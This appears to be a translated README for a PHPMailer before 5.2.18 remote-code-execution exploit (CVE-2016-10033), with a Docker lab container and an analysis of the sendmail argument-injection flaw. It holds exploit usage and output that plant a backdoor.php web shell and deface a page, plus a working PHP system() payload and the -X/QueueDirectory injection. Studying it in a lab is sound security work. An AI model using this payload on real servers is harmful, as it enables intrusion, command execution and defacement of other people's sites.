
PHPMailer < 5.2.18 远程代码执行漏洞利用和易受攻击的容器
PHPMailer 是世界上最流行的传输类,全球估计有 900 万用户,每日下载量依然相当可观。许多开源项目都在使用它:WordPress、Drupal、1CRM、SugarCRM、Yii、Joomla! 等等。
PHPMailer 5.2.18 之前的版本存在一个可能导致远程代码执行(RCE)的漏洞。当未设置 Sender 属性时,PHPMailer 中 isMail 传输的 mailSend 函数可能允许远程攻击者向 mail 命令传递额外参数,从而通过在精心构造的 From 地址中加入 "(反斜杠双引号)来执行任意代码。
要为你的测试搭建一个漏洞环境,你需要安装 Docker,然后只需运行以下命令:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
它会在你主机上的 8080 端口启动一个存在漏洞的 Web 应用。

要利用该目标,只需运行:
./exploit host:port
如果你使用的是这个存在漏洞的镜像,可以直接运行:
./exploit localhost:8080
利用成功后,一个名为 backdoor.php 的文件将被保存到 Web 目录的根目录中。随后该利用脚本会为你打开一个 shell,你可以通过它向后门发送命令:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
就这样,你就拥有了一个 shell。这里还有另一个利用脚本,它展示了另一种使用场景。
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
如果你再次访问该页面,就会看到:

在这个 commit 之前的 class.phpmailer.php 中,特定场景下发件人邮箱地址的特殊字符没有经过过滤。此缺陷可通过 mail 函数(此处)导致远程代码执行。
分析代码可知,mailSend() 函数中没有任何过滤:
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender 被直接追加到 $params 变量中。虽然发件人地址在 validateAddress() 函数中经过了过滤,但由于该函数遵循 RFC 3696 规范,它会允许某些会破坏系统的字符。
在本例中,这些字符就是引号:
除了使用反斜杠字符进行引用外,还可以使用传统的双引号字符将字符串括起来。例如
"Abc@def"@example.com
"Fred Bloggs"@example.com
是上述前两个示例的另一种形式。这些带引号的形式很少被推荐使用,在实践中也不常见,但正如上文所讨论的,处理电子邮件地址的应用程序必须支持它们。特别是,带引号的形式经常出现在与其他系统和上下文迁移相关的地址中;这些过渡性需求确实仍然存在,而且,由于接受用户提供的电子邮件地址的系统无法“知道”该地址是否与遗留系统相关联,因此必须接受这些地址形式并将其传入电子邮件环境。
如果你想阅读完整的 RFC,可以在此查看。另外,如果 PHP 版本低于 5.2.0 且未安装 PCRE,validateAddress() 中的 $patternselect 变量将被设置为 noregex。这将导致输入能够绕过任何正则检查,只需通过一个很小的验证:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
随后,代码流程进入 mailPassthru() 函数。如下面的代码所示,如果运行在 safe_mode 下,则不会受此缺陷影响:
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
但如果未运行在 safe_mode 下,我们的特殊参数就会被传递给 mail(),如果运气好的话,它会把包含我们想要内容的文件写入我们指定写入的位置。
利用 PHP 的 mail() 函数并不是什么新鲜事,但它至今仍然有效,仍有人在使用。为了解释其原理,我们先来看看 mail() 函数是如何定义的:
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
根据不同的目标结果,有多种利用方法,这里我们重点讨论利用第 5 个参数实现远程代码执行(RCE)。$additional_parameters 参数用于将额外标志作为命令行选项传递给配置为发送邮件的程序,该配置由 sendmail_path 变量定义。
来自 PHP 官方文档 的安全说明:
additional_parameters 参数可用于将额外的标志作为命令行选项传递给配置为用于发送邮件的程序,该程序由 sendmail_path 配置设置定义。例如,当使用 sendmail 的 -f sendmiail 选项时,可以用它来设置信封发件人地址。
此参数在内部由 escapeshellcmd() 转义以防止命令执行。escapeshellcmd() 可以防止命令执行,但允许添加额外参数。出于安全原因,建议用户净化此参数,以避免向 shell 命令添加不需要的参数。
考虑到可以注入的额外参数,我们将使用 -X 来利用此缺陷。关于 -X 参数的更多信息:
-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.
此外,还有一些你应该了解的有趣参数:
-Cfile
Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.
以及
-O option=value
Set option option to the specified value. This form uses long names.
在 -O 选项中,QueueDirectory 是最有趣的选项,它用于选择消息入队的目录。
如果你想查看完整的参数和选项列表,只需运行 man sendmail,或在此在线阅读。
基于以上信息,再加上能控制至少一个其他参数的能力,我们就可以利用目标主机。以下是成功利用的步骤:
$additional_parameters 和 mail() 的另一个参数webroot 下的任意目录(其他系统上为 /var/www/html,本例中为 /www)system() 载荷,并加入一点 base64 和特殊字符 | 以便于解析。请记住,-X 选项会将日志文件写入你指定的目录,而该日志文件中除了日志信息外,还会包含你的 PHP 载荷。下面是一个存在漏洞的 PHP 代码示例:
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
如果执行上述代码,它会在 /www/backdoor.php 创建一个日志文件,这就是本漏洞利用的核心。
以下是本例中使用的载荷:
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
想要一种简单、一条命令就能发现此缺陷的方法吗?记住这条神奇的 grep 命令!
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
在仓库中运行它会得到以下结果:
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
该漏洞由 Dawid Golunski 发现。
本程序及之前的程序仅供教育目的使用。未经许可不得使用。通常的免责声明同样适用,尤其是:本人(opsxcq)不对因直接或间接使用这些程序所提供的信息或功能而造成的任何损害承担责任。作者或任何互联网服务提供商对这些程序或其任何衍生品的内容或滥用概不负责。使用这些程序即表示你接受以下事实:因使用这些程序而造成的任何损害(数据丢失、系统崩溃、系统被入侵等)均非 opsxcq 的责任。